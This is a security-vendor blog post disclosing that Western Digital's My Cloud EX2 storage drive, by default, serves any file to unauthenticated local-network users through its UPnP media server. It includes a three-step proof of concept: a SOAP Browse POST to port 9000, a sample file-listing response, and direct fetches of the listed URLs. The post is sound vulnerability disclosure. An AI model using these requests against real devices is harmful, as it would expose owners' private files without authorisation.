Trustwave SpiderLabs Uncovers Critical Cybersecurity Vulnerabilities Exposing Manufacturers to Costly Attacks. Learn More

Trustwave SpiderLabs Uncovers Critical Cybersecurity Vulnerabilities Exposing Manufacturers to Costly Attacks. Learn More

Managed Detection & Response

Eradicate cyberthreats with world-class intel and expertise

Managed Security Services

Expand your team’s capabilities and strengthen your security posture

Consulting & Professional Services

Tap into our global team of tenured cybersecurity specialists

Penetration Testing

Subscription- or project-based testing, delivered by global experts

Database Security

Get ahead of database risk, protect data and exceed compliance requirements

Email Security & Management

Catch email threats others miss with layered security & maximum control

Co-Managed SOC (SIEM)

Eliminate alert fatigue, focus your SecOps team, stop threats fast, and reduce cyber risk

Microsoft Exchange Server Attacks
Stay protected against emerging threats
Rapidly Secure New Environments
Security for rapid response situations
Securing the Cloud
Safely navigate and stay protected
Securing the IoT Landscape
Test, monitor and secure network objects
Why Trustwave
The Trustwave Approach
Awards and Accolades
Trustwave SpiderLabs Team
Trustwave Fusion Platform
SpiderLabs Fusion Center
Security Operations Centers
Technology Alliance Partners
Key alliances who align and support our ecosystem of security offerings
Trustwave PartnerOne Program
Join forces with Trustwave to protect against the most advance cybersecurity threats
SpiderLabs Blog

WD My Cloud EX2 Serves Your Files to Anyone

Western Digital's My Cloud is a popular storage/backup device that lets users backup and store important documents, photos and media files. Unfortunately the default configuration of a new My Cloud EX2 drive allows any unauthenticated local network user to grab any files from the device using HTTP requests. This is due to a UPnP media server that is automatically started when the device is powered on. By default, unauthenticated users can grab any files from the device completely bypassing any permissions or restrictions set by the owner or administrator.

Here is small proof-of-concept with explanation of each step:

  1. Attacker issues HTTP request to port 9000 asking for the "TMSContentDirectory/Control" resource. The request should contain XML with Browse action in it.

POST /TMSContentDirectory/Control HTTP/1.1
Content-Length: 447
Soapaction: "urn:schemas-upnp-org:service:ContentDirectory:1#Browse"
Content-Type: text/xml

<?xml version="1.0"?>
<s:Envelope xmlns:s="" s:encodingStyle="">
<u:Browse xmlns:u="urn:schemas-upnp-org:service:ContentDirectory:1">

  1. UPnP server will respond with list of files on the device. The response will look like:

<item id="0$2$20I258" parentID="0$2$20" restricted="1">
<res size="4768768" resolution="4112x3088" protocolInfo="http-get:*:image/jpeg:*">http://MYCLOUDIP:9000/disk/NON-DLNA-OP01-FLAGS00d00000/O0$2$20I258.JPG</res>

Notice URLs in the protocolInfo attributes of res elements. Element pv:bookmark contains base64 encoded path to the file on the device.

  1. Attacker uses subsequent HTTP requests to fetch actual files from the device using URLs from the response collected at step 2.

Unfortunately, WD declined to fix this insecure default setting. Instead they recommend that users follow this knowledge base article to turn off DLNA "if they do not wish to utilize the product feature."

For more information please see our advisory: TWSL2018-005

I have also created a tool you can use to test your own devices:

Latest SpiderLabs Blogs

Trustwave SpiderLabs Report: LockBit 3.0 Ransomware Vs. the Manufacturing Sector

As the manufacturing sector continues its digital transformation, Operational Technology (OT), Industrial Control Systems (ICS), and Supervisory Control and Data Acquisition (SCADA) are becoming...

Read More

Overview of the Cyberwarfare used in Israel – Hamas War

On October 7, 2023, the Palestinian organization Hamas launched the biggest attack on Israel in years, resulting in numerous casualties and hostages taken. Israel responded with a large-scale ground...

Read More

The 2023 Retail Services Sector Threat Landscape: A Trustwave Threat Intelligence Briefing

The annual holiday shopping season is poised for a surge in spending, a fact well-known to retailers, consumers, and cybercriminals alike. The latter group, however, is poised to exploit any...

Read More